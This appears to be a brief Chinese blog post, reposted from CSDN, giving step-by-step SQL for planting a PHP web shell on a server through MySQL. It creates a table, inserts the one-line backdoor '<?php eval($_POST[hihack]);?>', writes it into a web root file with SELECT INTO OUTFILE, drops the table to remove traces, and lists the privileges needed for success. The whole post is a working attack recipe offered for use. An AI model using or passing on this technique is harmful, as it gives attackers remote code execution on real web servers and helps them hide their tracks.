mysql写一句话

1、创建一个表
create TABLE a (cmd text NOT NULL);
2、插入数据
insert INTO a (cmd) VALUES('<?php eval($_POST[hihack]);?>');
3、导出一句话
select cmd from a into outfile 'C:\AppServ\www\x.php';
4、删除表
Drop TABLE IF EXISTS a;




成功条件:有读写的权限,有create、insert、select的权限

猜你喜欢

转载自blog.csdn.net/jihaichen/article/details/80211763